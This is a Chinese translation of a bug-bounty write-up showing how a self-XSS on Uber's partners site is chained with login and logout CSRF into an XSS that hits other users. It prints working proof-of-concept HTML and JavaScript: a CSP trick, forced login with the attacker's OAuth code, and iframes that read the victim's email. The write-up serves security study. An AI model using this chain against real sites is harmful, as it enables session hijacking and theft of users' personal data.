<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/web/14035

    0x00 簡介


    作者通過精心設計,將一個雞肋的的self-XSS和兩個雞肋的csrf變成了一個高質量的漏洞。

    原文:
    https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/

    在Uber一個設置個人信息的頁面上,我找到一個非常簡單且經典的XSS漏洞。設置項中隨便修改一個字段為<script>alert(document.domain);</script>就可以執行并彈框。

    uber-partners-xss-1-1

    uber-partners-xss-1-1

    一共花了兩分鐘找到這個漏洞,但是我們要來點更有意思的。

    0x01 self-XSS


    可以在網頁中運行外界可控的任意JS腳本就被稱為XSS漏洞,這時候你一般可以去讀取其他用戶的Cookies,或者發出一些請求。但是如果你只能對自己做這些,而不是其他用戶,比如這段代碼只會在你能看到的頁面里面運行,這就被稱為self-XSS。這種情況下,即使我們發現了漏洞,也很難去影響其他人。

    我猶豫了一會,但是我后來決定試試,看能不能去掉這個"self"。

    0x02 Uber OAuth 登錄流程


    Ubser的OAuth登錄流程也是很經典的

    uber-partners-xss-2

    從上面的截圖你可以看到,OAuth的回調地址/oauth/callback?code=...并沒有使用標準推薦的state參數,這意味著登錄功能存在CSRF的問題,但是不好說會不會造成嚴重的問題。

    同時,在退出登錄的地方也有一個CSRF漏洞,當然這一般不會認為是漏洞。訪問/logout會清除用戶partner.uber.com的session,然后再重定向到login.uber.com的退出登錄頁面,清除login.uber.com的session。

    因為我們的payload只存在于自己的賬號中,我們可以讓其他用戶登錄進我們的賬號,然后payload就會執行,不過登錄我們的賬號會清除他們之前所有的session,這就讓漏洞大打折扣了。所以我們要把漏洞放在一起利用。

    0x03 捆綁利用漏洞


    我們的計劃就是這樣的了

    第一步 只在一個域名退出登錄

    首先發送一個請求到https://partners.uber.com/logout/,然后就可以登錄我們的賬號了。但是問題在于退出登錄的重定向最終會到達https://login.uber.com/logout/,導致另外一個域名也退出登錄。我們能不能控制呢?

    我的方法就是使用Content Security Police來設置可以加載的域名。我只設置了允許請求partners.uber.comlogin.uber.com就會被瀏覽器攔截。

    #!html
    <!-- 設置CSP策略阻止訪問 login.uber.com -->
    <meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
    <!-- 退出登錄 partners.uber.com -->
    <img src="https://partners.uber.com/logout/">
    

    這樣是可以的,CSP會有下面的提示

    uber-partners-xss-3

    第二步 登錄我的賬號

    這一步相對來說簡單了一些,我們向https://partners.uber.com/login/發送一個請求(這一步是必須的,否則我們沒法接收到回調)。上面我們用了CSP的trick來阻止部分流程,這里我們就需要用我自己的code來讓用戶登錄了。

    因為CSP會觸發onerror,我們就可以在那里面跳轉到下一步了。

    #!html
    <!-- CSP策略會阻止訪問 login.uber.com -->
    <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
    <!-- 退出登錄 partners.uber.com,在跳轉到login.iber.com的時候觸發onerror -->
    <img src="https://partners.uber.com/logout/" onerror="login();">
    <script>
        //初始化登錄
        var login = function() {
            var loginImg = document.createElement('img');
            loginImg.src = 'https://partners.uber.com/login/';
            loginImg.onerror = redir;
        }
        //用我們的code登錄
        var redir = function() {
            // 為了方便測試,code放在url hash中,實際需要動態的獲取
            var code = window.location.hash.slice(1);
            var loginImg2 = document.createElement('img');
            loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
            loginImg2.onerror = function() {
                window.location = 'https://partners.uber.com/profile/';
            }
        }
    </script>
    

    第三步 回到原來的賬號

    這一部分的代碼將會有XSS的payload,在我的賬號中。

    只要payload一運行,就可以切換回原來的賬號了。這個必須在iframe中,因為需要保持payload一直運行。

    #!js
    // 創建一個iframe,讓用戶退出登錄我的賬號
    var loginIframe = document.createElement('iframe');
    loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
    document.body.appendChild(loginIframe);
    

    iframe里面還是用CSP的trick

    #!js
    <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
    <img src="https://partners.uber.com/logout/" onerror="redir();">
    <script>
        //使用用戶login.uber.com的session重新登錄
        var redir = function() {
            window.location = 'https://partners.uber.com/login/';
        };
    </script>
    

    最后一部分是創建另外一個iframe,這樣可以獲取一些數據了

    #!js
    //等待幾秒,加載個人信息頁面,這是用戶原始的信息
    setTimeout(function() {
        var profileIframe = document.createElement('iframe');
        profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
        profileIframe.setAttribute('id', 'pi');
        document.body.appendChild(profileIframe);
        //提取email信息
        profileIframe.onload = function() {
            var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
            var matches = /value="([^"]+)" name="email"/.exec(d);
            alert(matches[1]);
        }
    }, 9000);
    

    因為我們最終的這個iframe是在個人信息頁面加載的,是同源的,而且X-Frame-Options也是設置的sameorigin而不是deny,所以我們使用contentWindow是可以訪問到里面的內容的。

    uber-partners-xss-5

    綜合在一起

    這個漏洞很有意思,啟發我們要在一個更高的層面去挖掘和思考安全漏洞。

    97av